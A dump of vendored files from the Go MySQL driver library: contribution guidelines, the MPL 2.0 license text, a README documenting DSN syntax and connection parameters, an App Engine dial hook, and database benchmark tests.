web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/CONTRIBUTING.md ================================================ # Contributing Guidelines ## Reporting Issues Before creating a new Issue, please check first if a similar Issue [already exists](https://github.com/go-sql-driver/mysql/issues?state=open) or was [recently closed](https://github.com/go-sql-driver/mysql/issues?direction=desc&page=1&sort=updated&state=closed). ## Contributing Code By contributing to this project, you share your code under the Mozilla Public License 2, as specified in the LICENSE file. Don't forget to add yourself to the AUTHORS file. ### Code Review Everyone is invited to review and comment on pull requests. If it looks fine to you, comment with "LGTM" (Looks good to me). If changes are required, notice the reviewers with "PTAL" (Please take another look) after committing the fixes. Before merging the Pull Request, at least one [team member](https://github.com/go-sql-driver?tab=members) must have commented with "LGTM". ## Development Ideas If you are looking for ideas for code contributions, please check our [Development Ideas](https://github.com/go-sql-driver/mysql/wiki/Development-Ideas) Wiki page. ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/LICENSE ================================================ Mozilla Public License Version 2.0 ================================== 1. Definitions -------------- 1.1. "Contributor" means each individual or legal entity that creates, contributes to the creation of, or owns Covered Software. 1.2. "Contributor Version" means the combination of the Contributions of others (if any) used by a Contributor and that particular Contributor's Contribution. 1.3. "Contribution" means Covered Software of a particular Contributor. 1.4. "Covered Software" means Source Code Form to which the initial Contributor has attached the notice in Exhibit A, the Executable Form of such Source Code Form, and Modifications of such Source Code Form, in each case including portions thereof. 1.5. "Incompatible With Secondary Licenses" means (a) that the initial Contributor has attached the notice described in Exhibit B to the Covered Software; or (b) that the Covered Software was made available under the terms of version 1.1 or earlier of the License, but not also under the terms of a Secondary License. 1.6. "Executable Form" means any form of the work other than Source Code Form. 1.7. "Larger Work" means a work that combines Covered Software with other material, in a separate file or files, that is not Covered Software. 1.8. "License" means this document. 1.9. "Licensable" means having the right to grant, to the maximum extent possible, whether at the time of the initial grant or subsequently, any and all of the rights conveyed by this License. 1.10. "Modifications" means any of the following: (a) any file in Source Code Form that results from an addition to, deletion from, or modification of the contents of Covered Software; or (b) any new file in Source Code Form that contains any Covered Software. 1.11. "Patent Claims" of a Contributor means any patent claim(s), including without limitation, method, process, and apparatus claims, in any patent Licensable by such Contributor that would be infringed, but for the grant of the License, by the making, using, selling, offering for sale, having made, import, or transfer of either its Contributions or its Contributor Version. 1.12. "Secondary License" means either the GNU General Public License, Version 2.0, the GNU Lesser General Public License, Version 2.1, the GNU Affero General Public License, Version 3.0, or any later versions of those licenses. 1.13. "Source Code Form" means the form of the work preferred for making modifications. 1.14. "You" (or "Your") means an individual or a legal entity exercising rights under this License. For legal entities, "You" includes any entity that controls, is controlled by, or is under common control with You. For purposes of this definition, "control" means (a) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (b) ownership of more than fifty percent (50%) of the outstanding shares or beneficial ownership of such entity. 2. License Grants and Conditions -------------------------------- 2.1. Grants Each Contributor hereby grants You a world-wide, royalty-free, non-exclusive license: (a) under intellectual property rights (other than patent or trademark) Licensable by such Contributor to use, reproduce, make available, modify, display, perform, distribute, and otherwise exploit its Contributions, either on an unmodified basis, with Modifications, or as part of a Larger Work; and (b) under Patent Claims of such Contributor to make, use, sell, offer for sale, have made, import, and otherwise transfer either its Contributions or its Contributor Version. 2.2. Effective Date The licenses granted in Section 2.1 with respect to any Contribution become effective for each Contribution on the date the Contributor first distributes such Contribution. 2.3. Limitations on Grant Scope The licenses granted in this Section 2 are the only rights granted under this License. No additional rights or licenses will be implied from the distribution or licensing of Covered Software under this License. Notwithstanding Section 2.1(b) above, no patent license is granted by a Contributor: (a) for any code that a Contributor has removed from Covered Software; or (b) for infringements caused by: (i) Your and any other third party's modifications of Covered Software, or (ii) the combination of its Contributions with other software (except as part of its Contributor Version); or (c) under Patent Claims infringed by Covered Software in the absence of its Contributions. This License does not grant any rights in the trademarks, service marks, or logos of any Contributor (except as may be necessary to comply with the notice requirements in Section 3.4). 2.4. Subsequent Licenses No Contributor makes additional grants as a result of Your choice to distribute the Covered Software under a subsequent version of this License (see Section 10.2) or under the terms of a Secondary License (if permitted under the terms of Section 3.3). 2.5. Representation Each Contributor represents that the Contributor believes its Contributions are its original creation(s) or it has sufficient rights to grant the rights to its Contributions conveyed by this License. 2.6. Fair Use This License is not intended to limit any rights You have under applicable copyright doctrines of fair use, fair dealing, or other equivalents. 2.7. Conditions Sections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted in Section 2.1. 3. Responsibilities ------------------- 3.1. Distribution of Source Form All distribution of Covered Software in Source Code Form, including any Modifications that You create or to which You contribute, must be under the terms of this License. You must inform recipients that the Source Code Form of the Covered Software is governed by the terms of this License, and how they can obtain a copy of this License. You may not attempt to alter or restrict the recipients' rights in the Source Code Form. 3.2. Distribution of Executable Form If You distribute Covered Software in Executable Form then: (a) such Covered Software must also be made available in Source Code Form, as described in Section 3.1, and You must inform recipients of the Executable Form how they can obtain a copy of such Source Code Form by reasonable means in a timely manner, at a charge no more than the cost of distribution to the recipient; and (b) You may distribute such Executable Form under the terms of this License, or sublicense it under different terms, provided that the license for the Executable Form does not attempt to limit or alter the recipients' rights in the Source Code Form under this License. 3.3. Distribution of a Larger Work You may create and distribute a Larger Work under terms of Your choice, provided that You also comply with the requirements of this License for the Covered Software. If the Larger Work is a combination of Covered Software with a work governed by one or more Secondary Licenses, and the Covered Software is not Incompatible With Secondary Licenses, this License permits You to additionally distribute such Covered Software under the terms of such Secondary License(s), so that the recipient of the Larger Work may, at their option, further distribute the Covered Software under the terms of either this License or such Secondary License(s). 3.4. Notices You may not remove or alter the substance of any license notices (including copyright notices, patent notices, disclaimers of warranty, or limitations of liability) contained within the Source Code Form of the Covered Software, except that You may alter any license notices to the extent required to remedy known factual inaccuracies. 3.5. Application of Additional Terms You may choose to offer, and to charge a fee for, warranty, support, indemnity or liability obligations to one or more recipients of Covered Software. However, You may do so only on Your own behalf, and not on behalf of any Contributor. You must make it absolutely clear that any such warranty, support, indemnity, or liability obligation is offered by You alone, and You hereby agree to indemnify every Contributor for any liability incurred by such Contributor as a result of warranty, support, indemnity or liability terms You offer. You may include additional disclaimers of warranty and limitations of liability specific to any jurisdiction. 4. Inability to Comply Due to Statute or Regulation --------------------------------------------------- If it is impossible for You to comply with any of the terms of this License with respect to some or all of the Covered Software due to statute, judicial order, or regulation then You must: (a) comply with the terms of this License to the maximum extent possible; and (b) describe the limitations and the code they affect. Such description must be placed in a text file included with all distributions of the Covered Software under this License. Except to the extent prohibited by statute or regulation, such description must be sufficiently detailed for a recipient of ordinary skill to be able to understand it. 5. Termination -------------- 5.1. The rights granted under this License will terminate automatically if You fail to comply with any of its terms. However, if You become compliant, then the rights granted under this License from a particular Contributor are reinstated (a) provisionally, unless and until such Contributor explicitly and finally terminates Your grants, and (b) on an ongoing basis, if such Contributor fails to notify You of the non-compliance by some reasonable means prior to 60 days after You have come back into compliance. Moreover, Your grants from a particular Contributor are reinstated on an ongoing basis if such Contributor notifies You of the non-compliance by some reasonable means, this is the first time You have received notice of non-compliance with this License from such Contributor, and You become compliant prior to 30 days after Your receipt of the notice. 5.2. If You initiate litigation against any entity by asserting a patent infringement claim (excluding declaratory judgment actions, counter-claims, and cross-claims) alleging that a Contributor Version directly or indirectly infringes any patent, then the rights granted to You by any and all Contributors for the Covered Software under Section 2.1 of this License shall terminate. 5.3. In the event of termination under Sections 5.1 or 5.2 above, all end user license agreements (excluding distributors and resellers) which have been validly granted by You or Your distributors under this License prior to termination shall survive termination. ************************************************************************ * * * 6. Disclaimer of Warranty * * ------------------------- * * * * Covered Software is provided under this License on an "as is" * * basis, without warranty of any kind, either expressed, implied, or * * statutory, including, without limitation, warranties that the * * Covered Software is free of defects, merchantable, fit for a * * particular purpose or non-infringing. The entire risk as to the * * quality and performance of the Covered Software is with You. * * Should any Covered Software prove defective in any respect, You * * (not any Contributor) assume the cost of any necessary servicing, * * repair, or correction. This disclaimer of warranty constitutes an * * essential part of this License. No use of any Covered Software is * * authorized under this License except under this disclaimer. * * * ************************************************************************ ************************************************************************ * * * 7. Limitation of Liability * * -------------------------- * * * * Under no circumstances and under no legal theory, whether tort * * (including negligence), contract, or otherwise, shall any * * Contributor, or anyone who distributes Covered Software as * * permitted above, be liable to You for any direct, indirect, * * special, incidental, or consequential damages of any character * * including, without limitation, damages for lost profits, loss of * * goodwill, work stoppage, computer failure or malfunction, or any * * and all other commercial damages or losses, even if such party * * shall have been informed of the possibility of such damages. This * * limitation of liability shall not apply to liability for death or * * personal injury resulting from such party's negligence to the * * extent applicable law prohibits such limitation. Some * * jurisdictions do not allow the exclusion or limitation of * * incidental or consequential damages, so this exclusion and * * limitation may not apply to You. * * * ************************************************************************ 8. Litigation ------------- Any litigation relating to this License may be brought only in the courts of a jurisdiction where the defendant maintains its principal place of business and such litigation shall be governed by laws of that jurisdiction, without reference to its conflict-of-law provisions. Nothing in this Section shall prevent a party's ability to bring cross-claims or counter-claims. 9. Miscellaneous ---------------- This License represents the complete agreement concerning the subject matter hereof. If any provision of this License is held to be unenforceable, such provision shall be reformed only to the extent necessary to make it enforceable. Any law or regulation which provides that the language of a contract shall be construed against the drafter shall not be used to construe this License against a Contributor. 10. Versions of the License --------------------------- 10.1. New Versions Mozilla Foundation is the license steward. Except as provided in Section 10.3, no one other than the license steward has the right to modify or publish new versions of this License. Each version will be given a distinguishing version number. 10.2. Effect of New Versions You may distribute the Covered Software under the terms of the version of the License under which You originally received the Covered Software, or under the terms of any subsequent version published by the license steward. 10.3. Modified Versions If you create software not governed by this License, and you want to create a new license for such software, you may create and use a modified version of this License if you rename the license and remove any references to the name of the license steward (except to note that such modified license differs from this License). 10.4. Distributing Source Code Form that is Incompatible With Secondary Licenses If You choose to distribute Source Code Form that is Incompatible With Secondary Licenses under the terms of this version of the License, the notice described in Exhibit B of this License must be attached. Exhibit A - Source Code Form License Notice ------------------------------------------- This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/. If it is not possible or desirable to put the notice in a particular file, then You may include the notice in a location (such as a LICENSE file in a relevant directory) where a recipient would be likely to look for such a notice. You may add additional accurate notices of copyright ownership. Exhibit B - "Incompatible With Secondary Licenses" Notice --------------------------------------------------------- This Source Code Form is "Incompatible With Secondary Licenses", as defined by the Mozilla Public License, v. 2.0. ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/README.md ================================================ # Go-MySQL-Driver A MySQL-Driver for Go's [database/sql](http://golang.org/pkg/database/sql) package ![Go-MySQL-Driver logo](https://raw.github.com/wiki/go-sql-driver/mysql/gomysql_m.png "Golang Gopher holding the MySQL Dolphin") --------------------------------------- * [Features](#features) * [Requirements](#requirements) * [Installation](#installation) * [Usage](#usage) * [DSN (Data Source Name)](#dsn-data-source-name) * [Password](#password) * [Protocol](#protocol) * [Address](#address) * [Parameters](#parameters) * [Examples](#examples) * [LOAD DATA LOCAL INFILE support](#load-data-local-infile-support) * [time.Time support](#timetime-support) * [Unicode support](#unicode-support) * [Testing / Development](#testing--development) * [License](#license) --------------------------------------- ## Features * Lightweight and [fast](https://github.com/go-sql-driver/sql-benchmark "golang MySQL-Driver performance") * Native Go implementation. No C-bindings, just pure Go * Connections over TCP/IPv4, TCP/IPv6, Unix domain sockets or [custom protocols](http://godoc.org/github.com/go-sql-driver/mysql#DialFunc) * Automatic handling of broken connections * Automatic Connection Pooling *(by database/sql package)* * Supports queries larger than 16MB * Full [`sql.RawBytes`](http://golang.org/pkg/database/sql/#RawBytes) support. * Intelligent `LONG DATA` handling in prepared statements * Secure `LOAD DATA LOCAL INFILE` support with file Whitelisting and `io.Reader` support * Optional `time.Time` parsing * Optional placeholder interpolation ## Requirements * Go 1.2 or higher * MySQL (4.1+), MariaDB, Percona Server, Google CloudSQL or Sphinx (2.2.3+) --------------------------------------- ## Installation Simple install the package to your [$GOPATH](http://code.google.com/p/go-wiki/wiki/GOPATH "GOPATH") with the [go tool](http://golang.org/cmd/go/ "go command") from shell: ```bash $ go get github.com/go-sql-driver/mysql ``` Make sure [Git is installed](http://git-scm.com/downloads) on your machine and in your system's `PATH`. ## Usage _Go MySQL Driver_ is an implementation of Go's `database/sql/driver` interface. You only need to import the driver and can use the full [`database/sql`](http://golang.org/pkg/database/sql) API then. Use `mysql` as `driverName` and a valid [DSN](#dsn-data-source-name) as `dataSourceName`: ```go import "database/sql" import _ "github.com/go-sql-driver/mysql" db, err := sql.Open("mysql", "user:password@/dbname") ``` [Examples are available in our Wiki](https://github.com/go-sql-driver/mysql/wiki/Examples "Go-MySQL-Driver Examples"). ### DSN (Data Source Name) The Data Source Name has a common format, like e.g. [PEAR DB](http://pear.php.net/manual/en/package.database.db.intro-dsn.php) uses it, but without type-prefix (optional parts marked by squared brackets): ``` [username[:password]@][protocol[(address)]]/dbname[?param1=value1&...¶mN=valueN] ``` A DSN in its fullest form: ``` username:password@protocol(address)/dbname?param=value ``` Except for the databasename, all values are optional. So the minimal DSN is: ``` /dbname ``` If you do not want to preselect a database, leave `dbname` empty: ``` / ``` This has the same effect as an empty DSN string: ``` ``` Alternatively, [Config.FormatDSN](https://godoc.org/github.com/go-sql-driver/mysql#Config.FormatDSN) can be used to create a DSN string by filling a struct. #### Password Passwords can consist of any character. Escaping is **not** necessary. #### Protocol See [net.Dial](http://golang.org/pkg/net/#Dial) for more information which networks are available. In general you should use an Unix domain socket if available and TCP otherwise for best performance. #### Address For TCP and UDP networks, addresses have the form `host:port`. If `host` is a literal IPv6 address, it must be enclosed in square brackets. The functions [net.JoinHostPort](http://golang.org/pkg/net/#JoinHostPort) and [net.SplitHostPort](http://golang.org/pkg/net/#SplitHostPort) manipulate addresses in this form. For Unix domain sockets the address is the absolute path to the MySQL-Server-socket, e.g. `/var/run/mysqld/mysqld.sock` or `/tmp/mysql.sock`. #### Parameters *Parameters are case-sensitive!* Notice that any of `true`, `TRUE`, `True` or `1` is accepted to stand for a true boolean value. Not surprisingly, false can be specified as any of: `false`, `FALSE`, `False` or `0`. ##### `allowAllFiles` ``` Type: bool Valid Values: true, false Default: false ``` `allowAllFiles=true` disables the file Whitelist for `LOAD DATA LOCAL INFILE` and allows *all* files. [*Might be insecure!*](http://dev.mysql.com/doc/refman/5.7/en/load-data-local.html) ##### `allowCleartextPasswords` ``` Type: bool Valid Values: true, false Default: false ``` `allowCleartextPasswords=true` allows using the [cleartext client side plugin](http://dev.mysql.com/doc/en/cleartext-authentication-plugin.html) if required by an account, such as one defined with the [PAM authentication plugin](http://dev.mysql.com/doc/en/pam-authentication-plugin.html). Sending passwords in clear text may be a security problem in some configurations. To avoid problems if there is any possibility that the password would be intercepted, clients should connect to MySQL Server using a method that protects the password. Possibilities include [TLS / SSL](#tls), IPsec, or a private network. ##### `allowNativePasswords` ``` Type: bool Valid Values: true, false Default: false ``` `allowNativePasswords=true` allows the usage of the mysql native password method. ##### `allowOldPasswords` ``` Type: bool Valid Values: true, false Default: false ``` `allowOldPasswords=true` allows the usage of the insecure old password method. This should be avoided, but is necessary in some cases. See also [the old_passwords wiki page](https://github.com/go-sql-driver/mysql/wiki/old_passwords). ##### `charset` ``` Type: string Valid Values: Default: none ``` Sets the charset used for client-server interaction (`"SET NAMES "`). If multiple charsets are set (separated by a comma), the following charset is used if setting the charset failes. This enables for example support for `utf8mb4` ([introduced in MySQL 5.5.3](http://dev.mysql.com/doc/refman/5.5/en/charset-unicode-utf8mb4.html)) with fallback to `utf8` for older servers (`charset=utf8mb4,utf8`). Usage of the `charset` parameter is discouraged because it issues additional queries to the server. Unless you need the fallback behavior, please use `collation` instead. ##### `collation` ``` Type: string Valid Values: Default: utf8_general_ci ``` Sets the collation used for client-server interaction on connection. In contrast to `charset`, `collation` does not issue additional queries. If the specified collation is unavailable on the target server, the connection will fail. A list of valid charsets for a server is retrievable with `SHOW COLLATION`. ##### `clientFoundRows` ``` Type: bool Valid Values: true, false Default: false ``` `clientFoundRows=true` causes an UPDATE to return the number of matching rows instead of the number of rows changed. ##### `columnsWithAlias` ``` Type: bool Valid Values: true, false Default: false ``` When `columnsWithAlias` is true, calls to `sql.Rows.Columns()` will return the table alias and the column name separated by a dot. For example: ``` SELECT u.id FROM users as u ``` will return `u.id` instead of just `id` if `columnsWithAlias=true`. ##### `interpolateParams` ``` Type: bool Valid Values: true, false Default: false ``` If `interpolateParams` is true, placeholders (`?`) in calls to `db.Query()` and `db.Exec()` are interpolated into a single query string with given parameters. This reduces the number of roundtrips, since the driver has to prepare a statement, execute it with given parameters and close the statement again with `interpolateParams=false`. *This can not be used together with the multibyte encodings BIG5, CP932, GB2312, GBK or SJIS. These are blacklisted as they may [introduce a SQL injection vulnerability](http://stackoverflow.com/a/12118602/3430118)!* ##### `loc` ``` Type: string Valid Values: Default: UTC ``` Sets the location for time.Time values (when using `parseTime=true`). *"Local"* sets the system's location. See [time.LoadLocation](http://golang.org/pkg/time/#LoadLocation) for details. Note that this sets the location for time.Time values but does not change MySQL's [time_zone setting](https://dev.mysql.com/doc/refman/5.5/en/time-zone-support.html). For that see the [time_zone system variable](#system-variables), which can also be set as a DSN parameter. Please keep in mind, that param values must be [url.QueryEscape](http://golang.org/pkg/net/url/#QueryEscape)'ed. Alternatively you can manually replace the `/` with `%2F`. For example `US/Pacific` would be `loc=US%2FPacific`. ##### `maxAllowedPacket` ``` Type: decimal number Default: 0 ``` Max packet size allowed in bytes. Use `maxAllowedPacket=0` to automatically fetch the `max_allowed_packet` variable from server. ##### `multiStatements` ``` Type: bool Valid Values: true, false Default: false ``` Allow multiple statements in one query. While this allows batch queries, it also greatly increases the risk of SQL injections. Only the result of the first query is returned, all other results are silently discarded. When `multiStatements` is used, `?` parameters must only be used in the first statement. ##### `parseTime` ``` Type: bool Valid Values: true, false Default: false ``` `parseTime=true` changes the output type of `DATE` and `DATETIME` values to `time.Time` instead of `[]byte` / `string` ##### `readTimeout` ``` Type: decimal number Default: 0 ``` I/O read timeout. The value must be a decimal number with an unit suffix ( *"ms"*, *"s"*, *"m"*, *"h"* ), such as *"30s"*, *"0.5m"* or *"1m30s"*. ##### `strict` ``` Type: bool Valid Values: true, false Default: false ``` `strict=true` enables a driver-side strict mode in which MySQL warnings are treated as errors. This mode should not be used in production as it may lead to data corruption in certain situations. A server-side strict mode, which is safe for production use, can be set via the [`sql_mode`](https://dev.mysql.com/doc/refman/5.7/en/sql-mode.html) system variable. By default MySQL also treats notes as warnings. Use [`sql_notes=false`](http://dev.mysql.com/doc/refman/5.7/en/server-system-variables.html#sysvar_sql_notes) to ignore notes. ##### `timeout` ``` Type: decimal number Default: OS default ``` *Driver* side connection timeout. The value must be a decimal number with an unit suffix ( *"ms"*, *"s"*, *"m"*, *"h"* ), such as *"30s"*, *"0.5m"* or *"1m30s"*. To set a server side timeout, use the parameter [`wait_timeout`](http://dev.mysql.com/doc/refman/5.6/en/server-system-variables.html#sysvar_wait_timeout). ##### `tls` ``` Type: bool / string Valid Values: true, false, skip-verify, Default: false ``` `tls=true` enables TLS / SSL encrypted connection to the server. Use `skip-verify` if you want to use a self-signed or invalid certificate (server side). Use a custom value registered with [`mysql.RegisterTLSConfig`](http://godoc.org/github.com/go-sql-driver/mysql#RegisterTLSConfig). ##### `writeTimeout` ``` Type: decimal number Default: 0 ``` I/O write timeout. The value must be a decimal number with an unit suffix ( *"ms"*, *"s"*, *"m"*, *"h"* ), such as *"30s"*, *"0.5m"* or *"1m30s"*. ##### System Variables Any other parameters are interpreted as system variables: * `=`: `SET =` * `=`: `SET =` * `=%27%27`: `SET =''` Rules: * The values for string variables must be quoted with ' * The values must also be [url.QueryEscape](http://golang.org/pkg/net/url/#QueryEscape)'ed! (which implies values of string variables must be wrapped with `%27`) Examples: * `autocommit=1`: `SET autocommit=1` * [`time_zone=%27Europe%2FParis%27`](https://dev.mysql.com/doc/refman/5.5/en/time-zone-support.html): `SET time_zone='Europe/Paris'` * [`tx_isolation=%27REPEATABLE-READ%27`](https://dev.mysql.com/doc/refman/5.5/en/server-system-variables.html#sysvar_tx_isolation): `SET tx_isolation='REPEATABLE-READ'` #### Examples ``` user@unix(/path/to/socket)/dbname ``` ``` root:pw@unix(/tmp/mysql.sock)/myDatabase?loc=Local ``` ``` user:password@tcp(localhost:5555)/dbname?tls=skip-verify&autocommit=true ``` Treat warnings as errors by setting the system variable [`sql_mode`](https://dev.mysql.com/doc/refman/5.7/en/sql-mode.html): ``` user:password@/dbname?sql_mode=TRADITIONAL ``` TCP via IPv6: ``` user:password@tcp([de:ad:be:ef::ca:fe]:80)/dbname?timeout=90s&collation=utf8mb4_unicode_ci ``` TCP on a remote host, e.g. Amazon RDS: ``` id:password@tcp(your-amazonaws-uri.com:3306)/dbname ``` Google Cloud SQL on App Engine (First Generation MySQL Server): ``` user@cloudsql(project-id:instance-name)/dbname ``` Google Cloud SQL on App Engine (Second Generation MySQL Server): ``` user@cloudsql(project-id:regionname:instance-name)/dbname ``` TCP using default port (3306) on localhost: ``` user:password@tcp/dbname?charset=utf8mb4,utf8&sys_var=esc%40ped ``` Use the default protocol (tcp) and host (localhost:3306): ``` user:password@/dbname ``` No Database preselected: ``` user:password@/ ``` ### `LOAD DATA LOCAL INFILE` support For this feature you need direct access to the package. Therefore you must change the import path (no `_`): ```go import "github.com/go-sql-driver/mysql" ``` Files must be whitelisted by registering them with `mysql.RegisterLocalFile(filepath)` (recommended) or the Whitelist check must be deactivated by using the DSN parameter `allowAllFiles=true` ([*Might be insecure!*](http://dev.mysql.com/doc/refman/5.7/en/load-data-local.html)). To use a `io.Reader` a handler function must be registered with `mysql.RegisterReaderHandler(name, handler)` which returns a `io.Reader` or `io.ReadCloser`. The Reader is available with the filepath `Reader::` then. Choose different names for different handlers and `DeregisterReaderHandler` when you don't need it anymore. See the [godoc of Go-MySQL-Driver](http://godoc.org/github.com/go-sql-driver/mysql "golang mysql driver documentation") for details. ### `time.Time` support The default internal output type of MySQL `DATE` and `DATETIME` values is `[]byte` which allows you to scan the value into a `[]byte`, `string` or `sql.RawBytes` variable in your programm. However, many want to scan MySQL `DATE` and `DATETIME` values into `time.Time` variables, which is the logical opposite in Go to `DATE` and `DATETIME` in MySQL. You can do that by changing the internal output type from `[]byte` to `time.Time` with the DSN parameter `parseTime=true`. You can set the default [`time.Time` location](http://golang.org/pkg/time/#Location) with the `loc` DSN parameter. **Caution:** As of Go 1.1, this makes `time.Time` the only variable type you can scan `DATE` and `DATETIME` values into. This breaks for example [`sql.RawBytes` support](https://github.com/go-sql-driver/mysql/wiki/Examples#rawbytes). Alternatively you can use the [`NullTime`](http://godoc.org/github.com/go-sql-driver/mysql#NullTime) type as the scan destination, which works with both `time.Time` and `string` / `[]byte`. ### Unicode support Since version 1.1 Go-MySQL-Driver automatically uses the collation `utf8_general_ci` by default. Other collations / charsets can be set using the [`collation`](#collation) DSN parameter. Version 1.0 of the driver recommended adding `&charset=utf8` (alias for `SET NAMES utf8`) to the DSN to enable proper UTF-8 support. This is not necessary anymore. The [`collation`](#collation) parameter should be preferred to set another collation / charset than the default. See http://dev.mysql.com/doc/refman/5.7/en/charset-unicode.html for more details on MySQL's Unicode support. ## Testing / Development To run the driver tests you may need to adjust the configuration. See the [Testing Wiki-Page](https://github.com/go-sql-driver/mysql/wiki/Testing "Testing") for details. Go-MySQL-Driver is not feature-complete yet. Your help is very appreciated. If you want to contribute, you can work on an [open issue](https://github.com/go-sql-driver/mysql/issues?state=open) or review a [pull request](https://github.com/go-sql-driver/mysql/pulls). See the [Contribution Guidelines](https://github.com/go-sql-driver/mysql/blob/master/CONTRIBUTING.md) for details. --------------------------------------- ## License Go-MySQL-Driver is licensed under the [Mozilla Public License Version 2.0](https://raw.github.com/go-sql-driver/mysql/master/LICENSE) Mozilla summarizes the license scope as follows: > MPL: The copyleft applies to any files containing MPLed code. That means: * You can **use** the **unchanged** source code both in private and commercially * When distributing, you **must publish** the source code of any **changed files** licensed under the MPL 2.0 under a) the MPL 2.0 itself or b) a compatible license (e.g. GPL 3.0 or Apache License 2.0) * You **needn't publish** the source code of your library as long as the files licensed under the MPL 2.0 are **unchanged** Please read the [MPL 2.0 FAQ](http://www.mozilla.org/MPL/2.0/FAQ.html) if you have further questions regarding the license. You can read the full terms here: [LICENSE](https://raw.github.com/go-sql-driver/mysql/master/LICENSE) ![Go Gopher and MySQL Dolphin](https://raw.github.com/wiki/go-sql-driver/mysql/go-mysql-driver_m.jpg "Golang Gopher transporting the MySQL Dolphin in a wheelbarrow") ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/appengine.go ================================================ // Go MySQL Driver - A MySQL-Driver for Go's database/sql package // // Copyright 2013 The Go-MySQL-Driver Authors. All rights reserved. // // This Source Code Form is subject to the terms of the Mozilla Public // License, v. 2.0. If a copy of the MPL was not distributed with this file, // You can obtain one at http://mozilla.org/MPL/2.0/. // +build appengine package mysql import ( "appengine/cloudsql" ) func init() { RegisterDial("cloudsql", cloudsql.Dial) } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/benchmark_test.go ================================================ // Go MySQL Driver - A MySQL-Driver for Go's database/sql package // // Copyright 2013 The Go-MySQL-Driver Authors. All rights reserved. // // This Source Code Form is subject to the terms of the Mozilla Public // License, v. 2.0. If a copy of the MPL was not distributed with this file, // You can obtain one at http://mozilla.org/MPL/2.0/. package mysql import ( "bytes" "database/sql" "database/sql/driver" "math" "strings" "sync" "sync/atomic" "testing" "time" ) type TB testing.B func (tb *TB) check(err error) { if err != nil { tb.Fatal(err) } } func (tb *TB) checkDB(db *sql.DB, err error) *sql.DB { tb.check(err) return db } func (tb *TB) checkRows(rows *sql.Rows, err error) *sql.Rows { tb.check(err) return rows } func (tb *TB) checkStmt(stmt *sql.Stmt, err error) *sql.Stmt { tb.check(err) return stmt } func initDB(b *testing.B, queries ...string) *sql.DB { tb := (*TB)(b) db := tb.checkDB(sql.Open("mysql", dsn)) for _, query := range queries { if _, err := db.Exec(query); err != nil { if w, ok := err.(MySQLWarnings); ok { b.Logf("warning on %q: %v", query, w) } else { b.Fatalf("error on %q: %v", query, err) } } } return db } const concurrencyLevel = 10 func BenchmarkQuery(b *testing.B) { tb := (*TB)(b) b.StopTimer() b.ReportAllocs() db := initDB(b, "DROP TABLE IF EXISTS foo", "CREATE TABLE foo (id INT PRIMARY KEY, val CHAR(50))", `INSERT INTO foo VALUES (1, "one")`, `INSERT INTO foo VALUES (2, "two")`, ) db.SetMaxIdleConns(concurrencyLevel) defer db.Close() stmt := tb.checkStmt(db.Prepare("SELECT val FROM foo WHERE id=?")) defer stmt.Close() remain := int64(b.N) var wg sync.WaitGroup wg.Add(concurrencyLevel) defer wg.Wait() b.StartTimer() for i := 0; i < concurrencyLevel; i++ { go func() { for { if atomic.AddInt64(&remain, -1) < 0 { wg.Done() return } var got string tb.check(stmt.QueryRow(1).Scan(&got)) if got != "one" { b.Errorf("query = %q; want one", got) wg.Done() return } } }() } } func BenchmarkExec(b *testing.B) { tb := (*TB)(b) b.StopTimer() b.ReportAllocs() db := tb.checkDB(sql.Open("mysql", dsn)) db.SetMaxIdleConns(concurrencyLevel) defer db.Close() stmt := tb.checkStmt(db.Prepare("DO 1")) defer stmt.Close() remain := int64(b.N) var wg sync.WaitGroup wg.Add(concurrencyLevel) defer wg.Wait() b.StartTimer() for i := 0; i < concurrencyLevel; i++ { go func() { for { if atomic.AddInt64(&remain, -1) < 0 { wg.Done() return } if _, err := stmt.Exec(); err != nil { b.Fatal(err.Error()) } } }() } } // data, but no db writes var roundtripSample []byte func initRoundtripBenchmarks() ([]byte, int, int) { if roundtripSample == nil { roundtripSample = []byte(strings.Repeat("0123456789abcdef", 1024*1024)) } return roundtripSample, 16, len(roundtripSample) } func BenchmarkRoundtripTxt(b *testing.B) { b.StopTimer() sample, min, max := initRoundtripBenchmarks() sampleString := string(sample) b.ReportAllocs() tb := (*TB)(b) db := tb.checkDB(sql.Open("mysql", dsn)) defer db.Close() b.StartTimer() var result string for i := 0; i < b.N; i++ { length := min + i if length > max { length = max } test := sampleString[0:length] rows := tb.checkRows(db.Query(`SELECT "` + test + `"`)) if !rows.Next() { rows.Close() b.Fatalf("crashed") } err := rows.Scan(&result) if err != nil { rows.Close() b.Fatalf("crashed") } if result != test { rows.Close() b.Errorf("mismatch") } rows.Close() } } func BenchmarkRoundtripBin(b *testing.B) { b.StopTimer() sample, min, max := initRoundtripBenchmarks() b.ReportAllocs() tb := (*TB)(b) db := tb.checkDB(sql.Open("mysql", dsn)) defer db.Close() stmt := tb.checkStmt(db.Prepare("SELECT ?")) defer stmt.Close() b.StartTimer() var result sql.RawBytes for i := 0; i < b.N; i++ { length := min + i if length > max { length = max } test := sample[0:length] rows := tb.checkRows(stmt.Query(test)) if !rows.Next() { rows.Close() b.Fatalf("crashed") } err := rows.Scan(&result) if err != nil { rows.Close() b.Fatalf("crashed") } if !bytes.Equal(result, test) { rows.Close() b.Errorf("mismatch") } rows.Close() } } func BenchmarkInterpolation(b *testing.B) { mc := &mysqlConn{ cfg: &Config{ InterpolateParams: true, Loc: time.UTC, }, maxAllowedPacket: maxPacketSize, maxWriteSize: maxPacketSize - 1, buf: newBuffer(nil), } args := []driver.Value{ int64(42424242), float64(math.Pi), false, time.Unix(1423411542, 807015000), []byte("bytes containing special chars ' \" \a \x00"), "string containing special chars ' \" \a \x00", } q := "SELECT ?, ?, ?, ?, ?, ?" b.ReportAllocs() b.ResetTimer() for i := 0; i < b.N; i++ { _, err := mc.interpolateParams(q, args) if err != nil { b.Fatal(err) } } } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/buffer.go 